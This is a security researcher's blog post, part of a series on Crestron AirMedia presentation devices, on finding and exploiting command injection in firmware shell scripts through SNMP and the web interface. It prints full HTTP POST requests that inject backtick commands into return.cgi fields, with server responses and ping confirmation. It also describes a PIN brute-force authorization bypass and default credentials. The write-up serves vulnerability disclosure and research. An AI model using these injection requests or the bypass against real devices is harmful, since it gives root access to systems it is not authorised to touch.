In this fourth installation of my blog series about wireless presentation devices we’ll cover one of the part I really love: vulnerability research and development.
I’ll focus on network services discovered and reverse engineered in part III (Man-in-the-conference-room - Part III (Network Assessment)) and will use firmware dumps acquired during part II (Man-in-the-conference-room - Part II (Hardware Hacking)). If you didn’t read these previous posts, please do so :)
1. Firmware Mount & Source Review
We’ll start by mounting the root filesystem we acquired with our firmware dumping script:
My first step here is to list custom shell script that have been added by the manufacturer:
After a manual code review of those scripts, I identified potentialy harmful code in the following scripts:
- bin/getRemoteURL.sh
- bin/service_onoff.sh
- bin/ftpfw.sh
getRemoteURL.sh
When an administrator wants to set a custom logo on the idle screen it has two options: either upload it manually or get the device to fetch it from a remote FTP or HTTP server. This script is launched when the latter is used. Here is the script with some comments of mine:
service_onoff.sh
This script is used to enable/disable services such as network services or USB support. Once again, comments are mine.
ftpfw.sh
This script seems to be used to download a firmware update over FTP and apply it:
By grepping for those scripts names, we can identify that they are launched by one of the web server’s CGI script (return.cgi), the SNMP server (snmpd) and a custom Airmedia binary (CIPBridge):
We can also check how they’re launched using strings and grepping for script names:
Ok so we might be onto something here. Let’s recap with a quick diagram of sources and sinks:
Note: CIPBridge was purposefuly dropped because it’s a service that must be configured to talk to a Crestron Virtual Server which is only available to Crestron customers, which I’m not. Still, if anyone got that software it is worth looking into it.
2. Bug Triaging and Exploit Implementation
2.1 Remote Command Execution via SNMP
The first step to check if we can reach sinks via SNMP is to load the custom MIB from Airmedia. That MIB file can be extracted from specific firmware archives available on Crestron support website. These ZIP archives holds firmware images for each processor family, a manifest, release notes, and the custom MIB file we are looking for:
On a Linux based host you just have to copy the MIB file to ~/.snmp/mibs
. Once it’s copied there, you can use snmptranslate
to lookup items within the MIB:
With this one line you’ll get each SNMP OID and corresponding name:
Crestron Airmedia SNMP OIDs
CRESTRON-WPS-MIB::crestron
.1.3.6.1.4.1.3212
CRESTRON-WPS-MIB::crestronAirMediaMIB
.1.3.6.1.4.1.3212.100
CRESTRON-WPS-MIB::camMIB
.1.3.6.1.4.1.3212.100.3
CRESTRON-WPS-MIB::camAddOnMIBObjects
.1.3.6.1.4.1.3212.100.3.3
CRESTRON-WPS-MIB::camSelectiveServices
.1.3.6.1.4.1.3212.100.3.3.2
CRESTRON-WPS-MIB::camServiceSNMPOnOff
.1.3.6.1.4.1.3212.100.3.3.2.4
CRESTRON-WPS-MIB::camServiceRemoteViewOnOff
.1.3.6.1.4.1.3212.100.3.3.2.3
CRESTRON-WPS-MIB::camServiceCIPSet
.1.3.6.1.4.1.3212.100.3.3.2.2
CRESTRON-WPS-MIB::camServiceCrestronUpdateOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.2
CRESTRON-WPS-MIB::camServiceCrestronOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.1
CRESTRON-WPS-MIB::camServiceWebSet
.1.3.6.1.4.1.3212.100.3.3.2.1
CRESTRON-WPS-MIB::camServiceWebAdminOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.3
CRESTRON-WPS-MIB::camServiceWebModerationOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.2
CRESTRON-WPS-MIB::camServiceWebOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.1
CRESTRON-WPS-MIB::camConferenceCtrl
.1.3.6.1.4.1.3212.100.3.3.1
CRESTRON-WPS-MIB::camCCPassword
.1.3.6.1.4.1.3212.100.3.3.1.3
CRESTRON-WPS-MIB::camCCEnableModerator
.1.3.6.1.4.1.3212.100.3.3.1.2
CRESTRON-WPS-MIB::camConferenceCtrlTable
.1.3.6.1.4.1.3212.100.3.3.1.1
CRESTRON-WPS-MIB::camConferenceCtrlEntry
.1.3.6.1.4.1.3212.100.3.3.1.1.1
CRESTRON-WPS-MIB::camCCConnected
.1.3.6.1.4.1.3212.100.3.3.1.1.1.5
CRESTRON-WPS-MIB::camCCWindowPosition
.1.3.6.1.4.1.3212.100.3.3.1.1.1.4
CRESTRON-WPS-MIB::camCCUserIPAddress
.1.3.6.1.4.1.3212.100.3.3.1.1.1.3
CRESTRON-WPS-MIB::camCCUserName
.1.3.6.1.4.1.3212.100.3.3.1.1.1.2
CRESTRON-WPS-MIB::camCCIndex
.1.3.6.1.4.1.3212.100.3.3.1.1.1.1
CRESTRON-WPS-MIB::camMIBObjects
.1.3.6.1.4.1.3212.100.3.2
CRESTRON-WPS-MIB::camSNMPConf
.1.3.6.1.4.1.3212.100.3.2.10
CRESTRON-WPS-MIB::camSNMPV3Set
.1.3.6.1.4.1.3212.100.3.2.10.5
CRESTRON-WPS-MIB::camSNMPV3PrivacyPassword
.1.3.6.1.4.1.3212.100.3.2.10.5.5
CRESTRON-WPS-MIB::camSNMPV3PrivacyProtocol
.1.3.6.1.4.1.3212.100.3.2.10.5.4
CRESTRON-WPS-MIB::camSNMPV3AuthPassword
.1.3.6.1.4.1.3212.100.3.2.10.5.3
CRESTRON-WPS-MIB::camSNMPV3AuthProtocol
.1.3.6.1.4.1.3212.100.3.2.10.5.2
CRESTRON-WPS-MIB::camSNMPV3UserName
.1.3.6.1.4.1.3212.100.3.2.10.5.1
CRESTRON-WPS-MIB::camSNMPV2Set
.1.3.6.1.4.1.3212.100.3.2.10.4
CRESTRON-WPS-MIB::camSNMPPrivateCommunity
.1.3.6.1.4.1.3212.100.3.2.10.4.2
CRESTRON-WPS-MIB::camSNMPPublicCommunity
.1.3.6.1.4.1.3212.100.3.2.10.4.1
CRESTRON-WPS-MIB::camSNMPManagerHostname
.1.3.6.1.4.1.3212.100.3.2.10.3
CRESTRON-WPS-MIB::camSNMPVersion
.1.3.6.1.4.1.3212.100.3.2.10.2
CRESTRON-WPS-MIB::camSNMPTrapHost
.1.3.6.1.4.1.3212.100.3.2.10.1
CRESTRON-WPS-MIB::camFWUpgrade
.1.3.6.1.4.1.3212.100.3.2.9
CRESTRON-WPS-MIB::camFWDownloadUpgradePercentage
.1.3.6.1.4.1.3212.100.3.2.9.7
CRESTRON-WPS-MIB::camFWUpgradeStatus
.1.3.6.1.4.1.3212.100.3.2.9.6
CRESTRON-WPS-MIB::camFWUpgradeFTPActive
.1.3.6.1.4.1.3212.100.3.2.9.5
CRESTRON-WPS-MIB::camFWUpgradeFTPPasswd
.1.3.6.1.4.1.3212.100.3.2.9.4
CRESTRON-WPS-MIB::camFWUpgradeFTPAccount
.1.3.6.1.4.1.3212.100.3.2.9.3
CRESTRON-WPS-MIB::camFWUpgradeFTPPort
.1.3.6.1.4.1.3212.100.3.2.9.2
CRESTRON-WPS-MIB::camFWUpgradeFTPURL
.1.3.6.1.4.1.3212.100.3.2.9.1
CRESTRON-WPS-MIB::camSystem
.1.3.6.1.4.1.3212.100.3.2.8
CRESTRON-WPS-MIB::camSystemRebootRequired
.1.3.6.1.4.1.3212.100.3.2.8.5
CRESTRON-WPS-MIB::camSystemReboot
.1.3.6.1.4.1.3212.100.3.2.8.4
CRESTRON-WPS-MIB::camProjection
.1.3.6.1.4.1.3212.100.3.2.7
CRESTRON-WPS-MIB::camProjectionLoginCodeInput
.1.3.6.1.4.1.3212.100.3.2.7.4
CRESTRON-WPS-MIB::camProjectionLoginCodeCurrentOption
.1.3.6.1.4.1.3212.100.3.2.7.3
CRESTRON-WPS-MIB::camProjectionCurrentTotalUsers
.1.3.6.1.4.1.3212.100.3.2.7.2
CRESTRON-WPS-MIB::camProjectionCurrentStatus
.1.3.6.1.4.1.3212.100.3.2.7.1
CRESTRON-WPS-MIB::camOutputSource
.1.3.6.1.4.1.3212.100.3.2.6
CRESTRON-WPS-MIB::camOutputCurrentSource
.1.3.6.1.4.1.3212.100.3.2.6.2
CRESTRON-WPS-MIB::camOutputSourceTable
.1.3.6.1.4.1.3212.100.3.2.6.1
CRESTRON-WPS-MIB::camOutputSourceEntry
.1.3.6.1.4.1.3212.100.3.2.6.1.1
CRESTRON-WPS-MIB::camOutputSourceVResolution
.1.3.6.1.4.1.3212.100.3.2.6.1.1.5
CRESTRON-WPS-MIB::camOutputSourceHResolution
.1.3.6.1.4.1.3212.100.3.2.6.1.1.4
CRESTRON-WPS-MIB::camOutputSourceDescription
.1.3.6.1.4.1.3212.100.3.2.6.1.1.3
CRESTRON-WPS-MIB::camOutputSourceImplemented
.1.3.6.1.4.1.3212.100.3.2.6.1.1.2
CRESTRON-WPS-MIB::camOutputSourceIndex
.1.3.6.1.4.1.3212.100.3.2.6.1.1.1
CRESTRON-WPS-MIB::camInfo
.1.3.6.1.4.1.3212.100.3.2.1
CRESTRON-WPS-MIB::camInfoHWVersion
.1.3.6.1.4.1.3212.100.3.2.1.4
CRESTRON-WPS-MIB::camInfoReleateDate
.1.3.6.1.4.1.3212.100.3.2.1.3
CRESTRON-WPS-MIB::camInfoFWVersion
.1.3.6.1.4.1.3212.100.3.2.1.2
CRESTRON-WPS-MIB::camInfoModelName
.1.3.6.1.4.1.3212.100.3.2.1.1
First, we don’t see any OID that could help us reach getRemoteURL.sh, at least from the naming convention. A cursory search through the plain MIB files didn’t bring up anything related to this feature. This is a dead end.
As for service_onoff.sh, we can consider the following candidates:
Crestron Airmedia SNMP OIDs (services on/off)
CRESTRON-WPS-MIB::camSelectiveServices
.1.3.6.1.4.1.3212.100.3.3.2
CRESTRON-WPS-MIB::camServiceSNMPOnOff
.1.3.6.1.4.1.3212.100.3.3.2.4
CRESTRON-WPS-MIB::camServiceRemoteViewOnOff
.1.3.6.1.4.1.3212.100.3.3.2.3
CRESTRON-WPS-MIB::camServiceCIPSet
.1.3.6.1.4.1.3212.100.3.3.2.2
CRESTRON-WPS-MIB::camServiceCrestronUpdateOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.2
CRESTRON-WPS-MIB::camServiceCrestronOnOff
.1.3.6.1.4.1.3212.100.3.3.2.2.1
CRESTRON-WPS-MIB::camServiceWebSet
.1.3.6.1.4.1.3212.100.3.3.2.1
CRESTRON-WPS-MIB::camServiceWebAdminOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.3
CRESTRON-WPS-MIB::camServiceWebModerationOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.2
CRESTRON-WPS-MIB::camServiceWebOnOff
.1.3.6.1.4.1.3212.100.3.3.2.1.1
All these OIDs expects a value of type CAMSelectiveServiceTypeTC:
camserviceSNMPOnOff OBJECT-TYPE
SYNTAX CAMSelectiveServiceTypeTC
MAX-ACCESS read-write
STATUS current
DESCRIPTION
DEFVAL { 1 }
::= { camSelectiveServices 4 }
END
CAMSelectiveServiceTypeTC being a boolean, there is no way we can inject here :(
CAMSelectiveServiceTypeTC ::= TEXTUAL-CONVENTION
STATUS current
DESCRIPTION
"TC for enumerated property camSelectiveServices."
SYNTAX INTEGER {
off(0),
on(1)
}
Let’s move onto our last sink: ftpfw.sh. Here it is pretty obvious that there are ways to it:
Crestron Airmedia SNMP OIDs (firmware upgrade)
CRESTRON-WPS-MIB::camFWUpgrade
.1.3.6.1.4.1.3212.100.3.2.9
CRESTRON-WPS-MIB::camFWDownloadUpgradePercentage
.1.3.6.1.4.1.3212.100.3.2.9.7
CRESTRON-WPS-MIB::camFWUpgradeStatus
.1.3.6.1.4.1.3212.100.3.2.9.6
CRESTRON-WPS-MIB::camFWUpgradeFTPActive
.1.3.6.1.4.1.3212.100.3.2.9.5
CRESTRON-WPS-MIB::camFWUpgradeFTPPasswd
.1.3.6.1.4.1.3212.100.3.2.9.4
CRESTRON-WPS-MIB::camFWUpgradeFTPAccount
.1.3.6.1.4.1.3212.100.3.2.9.3
CRESTRON-WPS-MIB::camFWUpgradeFTPPort
.1.3.6.1.4.1.3212.100.3.2.9.2
CRESTRON-WPS-MIB::camFWUpgradeFTPURL
.1.3.6.1.4.1.3212.100.3.2.9.1
If you remember the shell script lacking proper input sanitization, it seems the following OIDs could be used to inject our payload:
- camFWUpgradeFTPPasswd
- camFWUpgradeFTPAccount
- camFWUpgradeFTPPort
- camFWUpgradeFTPURL
Then, camFWUpgradeFTPActive can be used to trigger the firmware upgrade, and therefore the call to ftpfw.sh:
camFWUpgradeFTPActive OBJECT-TYPE
SYNTAX Integer32
MAX-ACCESS read-write
STATUS current
DESCRIPTION
"1: start to upgrade"
::= { camFWUpgrade 5 }
Ok. Let’s give it a try by injecting a payload in the FTP account value. Note that the string must be an exact length, hence the padding of A’s.
Now we trigger the upgrade sequence:
And voilà ! Remote command execution via SNMP:
13:04:31.599851 IP 192.168.100.2 > 192.168.100.1: ICMP echo request, id 60686
13:04:31.599925 IP 192.168.100.1 > 192.168.100.2: ICMP echo reply, id 60686
13:04:32.601065 IP 192.168.100.2 > 192.168.100.1: ICMP echo request, id 60686
13:04:32.601100 IP 192.168.100.1 > 192.168.100.2: ICMP echo reply, id 60686
13:04:33.604441 IP 192.168.100.2 > 192.168.100.1: ICMP echo request, id 60686
13:04:33.604538 IP 192.168.100.1 > 192.168.100.2: ICMP echo reply, id 60686
During the development of a full blown exploit I came upon two issues:
- The SNMP service expects a really specific format for the FTP URL
- The reverse shell exits after a few seconds
The expected URL value must be 255 bytes long and starts with a valid URI, while the shell exit is due to this call at the end of ftpfw.sh:
The fix was fairly simple, here is how it looks like in the Metasploit module:
And here is the exploit at work:
Let’s update our sources and sinks diagram with what we learned. One path to getRemoteURL.sh via SNMP got removed, the path to service_onoff.sh got deactivated and the one to ftpfw.sh got confirmed.
We’ll now move onto exploitation by abusing the web GUI running on ports TCP/80 and TCP/443.
2.2 Remote Command Execution via HTTP
Browsing through the web UI, we end up on the “OSD setup” page that let’s you select a custom logo, which is exactly the purpose of one of our sinks: getRemoteURL.sh.
The injection is pretty straightforward as we simply put our payload in backticks within the address field:
POST /cgi-bin/return.cgi HTTP/1.1
Host: 192.168.100.2
Connection: close
Content-Length: 153
Cache-Control: no-cache
Origin: https://192.168.100.2
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Language: en-US,en;q=0.8
command=<Send><seid>PZs0x6iFiCK4m4Z7</seid><upload><protocol>http</protocol><address>`ping -c 3 192.168.100.1`</address><logo>test</logo></upload></Send>
HTTP/1.1 200 OK
X-XSS-Protection: 1; mode=block
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=604800
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: sameorigin
Expires: Tue, 14 Jun 2005 18:24:23 GMT
Content-type: text/xml
Connection: close
Date: Tue, 07 Jun 2005 18:24:25 GMT
Server: lighttpd/1.4.37
Content-Length: 60
<return><protocol>http</protocol><result>1</result></return>
We get instant confirmation that our payload got executed:
192.168.100.2 > 192.168.100.1: ICMP echo request, id 35950
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 35950
192.168.100.2 > 192.168.100.1: ICMP echo request, id 35950
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 35950
192.168.100.2 > 192.168.100.1: ICMP echo request, id 35950
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 35950
Our second sink, service_onoff.sh must be linked to this page that let administrators enable or disable network services:
Again, exploitation is straight forward as we just have to put our payload between backticks in the value field.
POST /cgi-bin/return.cgi HTTP/1.1
Host: 192.168.100.2
Connection: close
Content-Length: 116
Content-Type: application/x-www-form-urlencoded
command=<Send><seid>xfnCLxTHA2eyrpNJ</seid><name>USBHID_ONOFF</name><value>`ping -c 3 192.168.100.1`</value></Send>
HTTP/1.1 200 OK
X-XSS-Protection: 1; mode=block
Cache-Control: public, must-revalidate, proxy-revalidate, max-age=604800
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Frame-Options: sameorigin
Expires: Tue, 14 Jun 2005 18:27:38 GMT
Content-type: text/xml
Connection: close
Date: Tue, 07 Jun 2005 18:27:41 GMT
Server: lighttpd/1.4.37
Content-Length: 51
<return><All_data>All_Data_Save</All_data></return>
And again, instant confirmation that our payload got executed:
192.168.100.2 > 192.168.100.1: ICMP echo request, id 44410
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 44410
192.168.100.2 > 192.168.100.1: ICMP echo request, id 44410
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 44410
192.168.100.2 > 192.168.100.1: ICMP echo request, id 44410
192.168.100.1 > 192.168.100.2: ICMP echo reply, id 44410
That’s sweet, we reached both sinks and managed to get remote command execution on the device by abusing the CGI scripts. The problem is that it can only be reached by authenticated users with administrative privileges. Our next objective is to find some kind of flaw in the authorization procedures implemented by the web interface.
Let’s start by mapping the three different kinds of users that can connect to the web interface:
- Administrators - this is the default admin user.
- Moderators - this is the default moderator user. This user can manage remote viewing.
- Viewers - this user does not exist as is but represents users connecting to the remote viewer interface.
When the admin user logs in, a session token is generated and must be appended at the end of the request path so that it is authenticated:
Access to remote view is unprotected by default but if the administrator choose to protect it (see setting below), the end user must enter the association PIN code on the web interface to access the remote view.
When the end user logs in with the remote view PIN code the server issues the same kind of session token that is used for administrators and moderators users.
There is no authorization checks performed to verify that a valid session token belong to an administrator user or not. This means that an unauthenticated user can bruteforce the four digits PIN code - either via proprietary association protocol or by bruteforcing the login form - and, upon successful authentication, use the received session token to abuse CGIs and gain remote command execution.
Let’s conclude our two successful RCE findings with an updated sources and sinks diagrams:
3. Exploitation Paths
You might have guessed that I really like visualizations so here is one describing the different exploitation paths that you could take.
4. Good mentions
A few other issues that were reported but not touched upon in this blog post:
- hardcoded FTP credentials with write access in firmware. Those credentials could have led an attacker to overwrite firmware files on the FTP server used by other devices to fetch updates, leading to large scale compromise..
- XSS. A few of them in the web GUI (potentially a duplicate of CVE-2017-16710)
- session token in URL.
5. Conclusion
In this blog post we successfully identified lack of input sanitization in shell scripts called by two networked services: SNMP and HTTP.
By attempting to connect these vulnerable sinks to their sources we identified valid exploitation paths that can be triggered by attackers with either knowledge of the device’s SNMP read-write community value (‘private’ by default) or the device’s admin password value (‘admin’ by default).
Successful exploitation of these vulnerabilities let the attacker gain root access. That access could then be used for numerous things such as: monitoring presentations content, serving malicious EXE or DMG files disguised as legitimate Airmedia clients, modify the web interface to capture NetNTLM hashes, or simply use that initial access to go further into the network.
In the next post I’ll describe how I used knowledge acquired during protocol reverse engineering to reliably identify similar devices exposed on the Internet. Ultimately, this led me on a wild OEM hunt with more than 10 different manufacturers selling around 22 different models affected by the exact vulnerabilities I described here.
For the full story, just head to Man-in-the-Conference Room - Part V (Hunting OEMs).